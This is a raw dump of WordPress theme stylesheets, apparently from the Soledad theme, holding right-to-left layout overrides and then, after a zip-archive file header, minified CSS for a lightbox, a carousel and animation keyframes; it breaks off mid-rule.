	.penci-mtp-filters-posts .pcsl-col-1.pcsl-inner .pcsl-iteminer {
		padding-left: 0;
	}
}
.list-post-3 .content-list-right {
	margin: 20px -40px 20px 20px;
}
.post-entry,
.post-entry p,
.widget ul li,
p {
	text-align: right;
}
.penci-post-share-box-btn {
	left: auto;
	right: 10px;
}
.pcstyle-style-4 .container-single .post-entry .post-tags a::before {
	margin-right: 0;
	margin-left: 5px;
}
.pcstyle-style-2 .container-single .post-entry .post-tags a::before {
	margin-right: 0;
	margin-left: 2px;
}
.penci-slider44-thumb-wrapper {
	right: auto;
	left: 30px;
}
.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next,
.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-prev {
	left: auto;
	right: 70px;
}
.penci-slider44-main.penci-owl-carousel .penci-owl-nav .owl-next {
	right: 30px;
}
.featured-area.featured-style-42 .penci-featured-content .feat-text,
.penci-slider41-main-wrapper .penci-featured-content .feat-text,
.penci-slider44-main-wrapper .penci-featured-content .feat-text {
	text-align: right;
}
.penci-slider42-main-wrapper .penci-featured-content .feat-text h3 a {
	text-align: right;
}
.penciimg-compare .icv__img-a {
	left: auto;
	right: 0px;
}
.penciimg-compare .icv__img-b {
	right: auto;
	left: 0px;
}
.penciimg-compare .icv__label-before {
	right: 1rem;
	left: auto;
}
.penciimg-compare .icv__label-after {
	left: 1rem;
	right: auto;
}
.penciimg-compare .icv__label-after.vertical {
	left: auto;
}
body.rtl
	.navigation
	.menu
	li.penci-block-mega.penci-mg-fullwidth
	> .penci-dropdown-menu {
	left: auto !important;
	right: calc(
		(100vw - var(--pcctain)) / 2 * -1 + 10px - var(--pcctnspc)
	) !important;
}
.pc-widget-advanced-tax.tax-style-2 .tag-link-count {
	margin-right: 3px;
	margin-left: 0;
}
.penci-single-style-10 .header-standard,
.penci-single-style-10 .post-box-meta-single,
.penci-single-style-15 .header-standard,
.penci-single-style-15 .post-box-meta-single,
.penci-single-style-13 .header-standard,
.penci-single-style-13 .post-box-meta-single {
	text-align: right;
}
.penci-single-style-15 .container.two-sidebar .penci-sidebar-content,
.penci-single-style-15 .penci-post-image-wrapper .penci-sidebar-content {
	right: 0;
	left: auto;
}
.penci-single-style-15 .penci-single-s15-content {
	padding-right: 20%;
	padding-left: 0;
}
.penci-single-style-13 .penci-single-s13-content {
	margin-right: calc((100vw - var(--pcctain)) / -2);
	margin-left: 0;
}
.penci-single-style-13
	.penci-post-image-wrapper
	.penci-sidebar-content
	.single-header {
	padding: 50px 50px 50px 0;
}
.penci-single-style-13 .penci-container-inside.penci-breadcrumb {
	padding-left: 0;
	padding-right: 50px;
}
.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:before {
	left: auto;
	right: 100%;
}
@media only screen and (max-width: 960px) {
	.penci-single-style-15 .penci-single-s15-content {
		padding-left: 0;
		padding-right: 0;
	}
	.penci-body-single-style-20 .penci-container-inside.penci-breadcrumb {
		text-align: center;
	}
	.penci-single-style-13 .penci-single-s13-content {
		margin-right: 0;
	}
	.penci-single-style-13.penci-show-ft-caption
		.penci-post-image-wrapper
		.penci-sidebar-content:after {
		display: none;
	}
}
@media only screen and (min-width: 961px) {
	.penci-single-style-14:not(.penci-single-pheader-noimg).penci_sidebar
		#main
		article.post {
		margin-right: 40px;
		padding-right: 40px;
		margin-left: 0;
		padding-left: 0;
	}
}
.penci-body-single-style-22 .post-image .penci-author-wrapper {
	transform: translateX(50%);
}
.rtl.penci-body-single-style-22 .container-single .post-box-meta-single,
.rtl.penci-body-single-style-22 .container-single .header-standard {
	text-align: center;
}
@media only screen and (min-width: 768px) {
	.penci-grid
		li.pclist-layout.pc-has-thumb.pc-list-imgright
		.item
		.content-list-right {
		padding-left: 30px;
		padding-right: 0;
	}
}
.penci-grid[data-layout="grid-boxed-3"] li .item {
	margin-left: 0;
	margin-right: 15px;
}
.penci-grid[data-layout="grid-boxed-3"] li .item .cat {
	left: auto;
	right: 0;
	transform: translate(calc(0px + 50% + 18px), 80px) rotate(-90deg);
	justify-content: flex-start;
}
.penci-grid[data-layout="grid-boxed-3"] li.pchide-cat .item {
	margin-right: 0;
}
.post-tags.penci-post-sources > span::before {
	margin: 0 0 0 4px;
}
.penci-visitor-count {
	padding: 10px 35px 10px 20px;
}
.penci-grid4-date {
	left: auto;
	right: 20px;
	padding-right: 0;
	padding-left: 20px;
}
.penci-grid4-date span {
	margin-right: 0;
	margin-left: 10px;
}
.grid-boxed-4-item .grid-header-box {
	text-align: right;
}
.penci-post-sticky-nav-wrap {
	flex-direction: row-reverse;
}
.penci-pshare-dropdown a i {
	margin-right: 0;
	margin-left: 5px;
}
.penci-focus-mode-icon:before {
	margin-right: 0;
	margin-left: 6px;
}
.penci-post-sticky-nav-wrap .prev-post {
	justify-content: end;
}
.penci-post-sticky-nav-wrap .next-post {
	justify-content: start;
}
body.rtl.penci-gtt-enable .penci-focus-mode-button.right {
	right: 20px;
}
.penci-tiline .penci-tiline-date span {
	display: inline-block;
}
.show-search.pcbds-popup {
	text-align: right;
}
.show-search.pcbds-popup .close-search{
	right:auto;
	left:10px;
}
.penci-pshare-dropdown {
	left: auto;
	right: 12px;
}
@media (min-width: 960px) {
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-line {
		right: auto;
		left: 0;
	}
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-icon {
		right: auto;
		left: 0;
	}
	body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon {
		transform: translate(50%, 50%);
		top: 0;
	}
	body.rtl
		.penci-tiline
		.penci-tiline-item-main-wrapper
		.penci-tiline-icon
		span {
		transform: translate(50%, 0%);
	}
	body.rtl
		.penci-tiline-center
		.penci-tiline-item.left-part
		.penci-tiline-item-main-container {
		padding-right: 0;
		padding-left: 50px;
	}
	body.rtl .penci-tiline-center .penci-tiline-item.right-part .penci-tiline-icon {
		left: auto;
		right: 0;
	}
	body.rtl .penci-tiline-center
		.penci-tiline-item.right-part
		.penci-tiline-item-main-container {
		padding-left: 0;
		padding-right: 50px;
	}
}
body.rtl .penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span,
body.rtl
	.penci-tiline
	.penci-tiline-item:first-child
	.penci-tiline-item-main-wrapper
	.penci-tiline-line::before {
	transform: translateX(50%);
}
body.rtl .penci-tiline-item-date-wrap.right {
	text-align: left;
}
body.rtl .penci-tiline-meta li:not(:last-child),
body.rtl .post-entry .penci-tiline-meta li:not(:last-child) {
	margin-right: 0;
	margin-left: 20px;
}PK     N\E    main.min.cssnu [        .mfp-bg{top:0;left:0;width:100%;height:100%;z-index:9999999;overflow:hidden;position:fixed;background:#0b0b0b;opacity:.8}.mfp-wrap{top:0;left:0;width:100%;height:100%;z-index:9999999;position:fixed;outline:0!important;-webkit-backface-visibility:hidden}.mfp-container{text-align:center;position:absolute;width:100%;height:100%;left:0;top:0;padding:0 8px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mfp-container:before{content:"";display:inline-block;height:100%;vertical-align:middle}.mfp-align-top .mfp-container:before{display:none}.mfp-content{position:relative;display:inline-block;vertical-align:middle;margin:0 auto;text-align:left;z-index:1045}.mfp-ajax-holder .mfp-content,.mfp-inline-holder .mfp-content{width:100%;cursor:auto}.mfp-ajax-cur{cursor:progress}.mfp-zoom-out-cur,.mfp-zoom-out-cur .mfp-image-holder .mfp-close{cursor:-moz-zoom-out;cursor:-webkit-zoom-out;cursor:zoom-out}.mfp-zoom{cursor:pointer;cursor:-webkit-zoom-in;cursor:-moz-zoom-in;cursor:zoom-in}.mfp-auto-cursor .mfp-content{cursor:auto}.mfp-arrow,.mfp-close,.mfp-counter,.mfp-preloader{-webkit-user-select:none;-moz-user-select:none;user-select:none}.mfp-loading.mfp-figure{display:none}.mfp-hide{display:none!important}.mfp-preloader{color:#ccc;position:absolute;top:50%;width:auto;text-align:center;margin-top:-.8em;left:8px;right:8px;z-index:1044}.mfp-preloader a{color:#ccc}.mfp-preloader a:hover{color:#fff}.mfp-s-ready .mfp-preloader{display:none}.mfp-s-error .mfp-content{display:none}button.mfp-arrow,button.mfp-close{overflow:visible;cursor:pointer;background:0 0;border:0;-webkit-appearance:none;display:block;outline:0;padding:0;z-index:1046;-webkit-box-shadow:none;box-shadow:none;position:absolute}button.mfp-arrow,button.mfp-close{font-size:28px}button::-moz-focus-inner{padding:0;border:0}button.mfp-close{width:44px;height:44px;line-height:44px;position:absolute;right:0;top:0;text-decoration:none;text-align:center;opacity:.65;padding:0 0 18px 10px;color:#fff;font-style:normal;font-size:30px;font-family:Arial,Baskerville,monospace}.mfp-close:focus,.mfp-close:hover{opacity:1}.mfp-close:active{top:1px}.mfp-close-btn-in .mfp-close{color:#333;font-size:28px}.mfp-iframe-holder .mfp-close,.mfp-image-holder .mfp-close{color:#fff;right:-6px;text-align:right;padding-right:6px;width:100%}.mfp-counter{position:absolute;top:0;right:0;color:#ccc;font-size:12px;line-height:18px}.mfp-arrow{position:absolute;opacity:.65;margin:0;top:50%;margin-top:-55px;padding:0;width:90px;height:110px;-webkit-tap-highlight-color:transparent}.mfp-arrow:active{margin-top:-54px}.mfp-arrow:focus,.mfp-arrow:hover{opacity:1}.mfp-arrow .mfp-a,.mfp-arrow .mfp-b,.mfp-arrow:after,.mfp-arrow:before{content:"";display:block;width:0;height:0;position:absolute;left:0;top:0;margin-top:35px;margin-left:35px;border:medium inset transparent}.mfp-arrow .mfp-a,.mfp-arrow:after{border-top-width:13px;border-bottom-width:13px;top:8px}.mfp-arrow .mfp-b,.mfp-arrow:before{border-top-width:21px;border-bottom-width:21px;opacity:.7}.mfp-arrow-left{left:0}.mfp-arrow-left .mfp-a,.mfp-arrow-left:after{border-right:17px solid #fff;margin-left:31px}.mfp-arrow-left .mfp-b,.mfp-arrow-left:before{margin-left:25px;border-right:27px solid #3f3f3f}.mfp-arrow-right{right:0}.mfp-arrow-right .mfp-a,.mfp-arrow-right:after{border-left:17px solid #fff;margin-left:39px}.mfp-arrow-right .mfp-b,.mfp-arrow-right:before{border-left:27px solid #3f3f3f}.mfp-iframe-holder{padding-top:40px;padding-bottom:40px}.mfp-iframe-holder .mfp-content{line-height:0;width:100%;max-width:1200px}.mfp-iframe-holder .mfp-close{top:-40px}.mfp-iframe-scaler{width:100%;height:0;overflow:hidden;padding-top:56.25%}.mfp-iframe-scaler iframe{position:absolute;display:block;top:0;left:0;width:100%;height:100%;box-shadow:0 0 8px rgba(0,0,0,.6);background:#000}img.mfp-img{width:auto;max-width:100%;height:auto;display:block;line-height:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:40px 0;margin:0 auto}.mfp-figure{line-height:0}.mfp-figure:after{content:"";position:absolute;left:0;top:40px;bottom:40px;display:block;right:0;width:auto;height:auto;z-index:-1;box-shadow:0 0 8px rgba(0,0,0,.6);background:#444}.mfp-figure small{color:#bdbdbd;display:block;font-size:12px;line-height:14px}.mfp-figure figure{margin:0}.mfp-bottom-bar{margin-top:-36px;position:absolute;top:100%;left:0;width:100%;cursor:auto}.mfp-title{text-align:left;line-height:18px;color:#f3f3f3;word-wrap:break-word;padding-right:36px}.mfp-image-holder .mfp-content{max-width:100%}.mfp-gallery .mfp-image-holder .mfp-figure{cursor:pointer}@media screen and (max-width:800px) and (orientation:landscape),screen and (max-height:300px){.mfp-img-mobile .mfp-image-holder{padding-left:0;padding-right:0}.mfp-img-mobile img.mfp-img{padding:0}.mfp-img-mobile .mfp-figure:after{top:0;bottom:0}.mfp-img-mobile .mfp-figure small{display:inline;margin-left:5px}.mfp-img-mobile .mfp-bottom-bar{background:rgba(0,0,0,.6);bottom:0;margin:0;top:auto;padding:3px 5px;position:fixed;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mfp-img-mobile .mfp-bottom-bar:empty{padding:0}.mfp-img-mobile .mfp-counter{right:5px;top:3px}.mfp-img-mobile .mfp-close{top:0;right:0;width:35px;height:35px;line-height:35px;background:rgba(0,0,0,.6);position:fixed;text-align:center;padding:0}}@media all and (max-width:900px){.mfp-arrow{-webkit-transform:scale(.75);transform:scale(.75)}.mfp-arrow-left{-webkit-transform-origin:0;transform-origin:0}.mfp-arrow-right{-webkit-transform-origin:100%;transform-origin:100%}.mfp-container{padding-left:6px;padding-right:6px}}.mfp-ie7 .mfp-img{padding:0}.mfp-ie7 .mfp-bottom-bar{width:600px;left:50%;margin-left:-300px;margin-top:5px;padding-bottom:5px}.mfp-ie7 .mfp-container{padding:0}.mfp-ie7 .mfp-content{padding-top:44px}.mfp-ie7 .mfp-close{top:0;right:0;padding-top:0}.mfp-ani-wrap .mfp-with-anim .summary-inner{opacity:0;transition:transform .3s ease,opacity .3s ease;transform:translateX(30px)}.mfp-ani-wrap.mfp-bg{opacity:0;transition:opacity .25s ease,visibility 0s ease .25s}.mfp-ani-wrap.mfp-ready.mfp-bg{opacity:.75;transition:opacity .25s ease,visibility 0s ease}.mfp-ani-wrap .mfp-with-anim{opacity:0;transition:transform .3s ease,opacity .3s ease}.mfp-ani-wrap.mfp-removing .mfp-close{display:none}.mfp-ani-wrap .mfp-with-anim.move-to-top{transform:translateY(100px)}.mfp-ani-wrap.mfp-removing .mfp-with-anim.move-to-top{transform:translateY(-100px)}.mfp-ani-wrap .mfp-with-anim.move-to-bottom{transform:translateY(-100px)}.mfp-ani-wrap.mfp-removing .mfp-with-anim.move-to-bottom{transform:translateY(100px)}.mfp-ani-wrap .mfp-with-anim.move-to-left{transform:translateX(100px)}.mfp-ani-wrap.mfp-removing .mfp-with-anim.move-to-left{transform:translateX(-100px)}.mfp-ani-wrap .mfp-with-anim.move-to-right{transform:translateX(-100px)}.mfp-ani-wrap.mfp-removing .mfp-with-anim.move-to-right{transform:translateX(100px)}.mfp-ani-wrap .mfp-with-anim.zoomin{transform:scale(.8)}.mfp-ani-wrap.mfp-removing .mfp-with-anim.zoomin{transform:scale(1)}.mfp-ani-wrap.mfp-ready .mfp-with-anim,.mfp-ani-wrap.mfp-ready .mfp-with-anim .summary-inner{opacity:1;transform:none}.mfp-ani-wrap.mfp-removing .mfp-with-anim{opacity:0}.mfp-ani-wrap.mfp-removing.mfp-bg{opacity:0}.mfp-ani-wrap .bottom-left,.mfp-ani-wrap .middle-left,.mfp-ani-wrap .top-left{margin-left:0}.mfp-ani-wrap.bottom-left .mfp-container,.mfp-ani-wrap.middle-left .mfp-container,.mfp-ani-wrap.top-left .mfp-container{margin-left:0;padding-left:0}.mfp-ani-wrap .bottom-right,.mfp-ani-wrap .middle-right,.mfp-ani-wrap .top-right{margin-right:0}.mfp-ani-wrap.bottom-right .mfp-container,.mfp-ani-wrap.middle-right .mfp-container,.mfp-ani-wrap.top-right .mfp-container{margin-right:0;padding-right:0}.mfp-ani-wrap.bottom-center .mfp-container,.mfp-ani-wrap.bottom-left .mfp-container,.mfp-ani-wrap.bottom-right .mfp-container,.mfp-ani-wrap.top-center .mfp-container,.mfp-ani-wrap.top-left .mfp-container,.mfp-ani-wrap.top-right .mfp-container{height:unset}.mfp-ani-wrap.top-center .mfp-container,.mfp-ani-wrap.top-left .mfp-container,.mfp-ani-wrap.top-right .mfp-container{top:0;left:0}.mfp-ani-wrap.bottom-center .mfp-container,.mfp-ani-wrap.bottom-left .mfp-container,.mfp-ani-wrap.bottom-right .mfp-container{top:auto;bottom:0}.penci-owl-carousel .animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.penci-owl-carousel .owl-animated-in{z-index:0}.penci-owl-carousel .owl-animated-out{z-index:1}.penci-owl-carousel .fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOut{0%{opacity:1}100%{opacity:0}}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{-webkit-transition:height .5s ease-in-out;-moz-transition:height .5s ease-in-out;-ms-transition:height .5s ease-in-out;-o-transition:height .5s ease-in-out;transition:height .5s ease-in-out}.penci-owl-carousel{display:block;width:100%;-webkit-tap-highlight-color:transparent;position:relative;z-index:1;--pcfs-delay:0.5s}.penci-owl-carousel .penci-owl-dot,.penci-owl-carousel .penci-owl-nav .owl-next,.penci-owl-carousel .penci-owl-nav .owl-prev{cursor:pointer;cursor:hand;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.penci-owl-carousel.penci-owl-loaded{display:block}.penci-owl-carousel.owl-loading{opacity:0;display:block}.penci-owl-carousel.owl-hidden{opacity:0}.penci-owl-carousel .owl-refresh .owl-item{display:none}.penci-owl-carousel.owl-rtl{direction:rtl}.penci-owl-carousel.owl-rtl .owl-item{float:right}.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animated.hinge{-webkit-animation-duration:2s;animation-duration:2s}.animated.bounceIn,.animated.bounceOut,.animated.flipOutX,.animated.flipOutY{-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounce{20%,53%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes bounce{20%,53%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}.bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes flash{50%,from,to{opacity:1}25%,75%{opacity:0}}@keyframes flash{50%,from,to{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.pulse{-webkit-animation-name:pulse;animation-name:pulse}@-webkit-keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.shake{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}.headShake{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;-webkit-animation-name:headShake;animation-name:headShake}@-webkit-keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}@keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.tada{-webkit-animation-name:tada;animation-name:tada}@-webkit-keyframes wobble{from{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}to{-webkit-transform:none;transform:none}}@keyframes wobble{from{-webkit-transform:none;transform:none}15%{-webkit-transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg);transform:translate3d(-25%,0,0) rotate3d(0,0,1,-5deg)}30%{-webkit-transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg);transform:translate3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg)}75%{-webkit-transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg);transform:translate3d(-5%,0,0) rotate3d(0,0,1,-1deg)}to{-webkit-transform:none;transform:none}}.wobble{-webkit-animation-name:wobble;animation-name:wobble}@-webkit-keyframes jello{11.1%,from,to{-webkit-transform:none;transform:none}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}@keyframes jello{11.1%,from,to{-webkit-transform:none;transform:none}22.2%{-webkit-transform:skewX(-12.5deg) skewY(-12.5deg);transform:skewX(-12.5deg) skewY(-12.5deg)}33.3%{-webkit-transform:skewX(6.25deg) skewY(6.25deg);transform:skewX(6.25deg) skewY(6.25deg)}44.4%{-webkit-transform:skewX(-3.125deg) skewY(-3.125deg);transform:skewX(-3.125deg) skewY(-3.125deg)}55.5%{-webkit-transform:skewX(1.5625deg) skewY(1.5625deg);transform:skewX(1.5625deg) skewY(1.5625deg)}66.6%{-webkit-transform:skewX(-.78125deg) skewY(-.78125deg);transform:skewX(-.78125deg) skewY(-.78125deg)}77.7%{-webkit-transform:skewX(.390625deg) skewY(.390625deg);transform:skewX(.390625deg) skewY(.390625deg)}88.8%{-webkit-transform:skewX(-.1953125deg) skewY(-.1953125deg);transform:skewX(-.1953125deg) skewY(-.1953125deg)}}.jello{-webkit-animation-name:jello;animation-name:jello;-webkit-transform-origin:center;transform-origin:center}@-webkit-keyframes bounceIn{20%,40%,60%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes 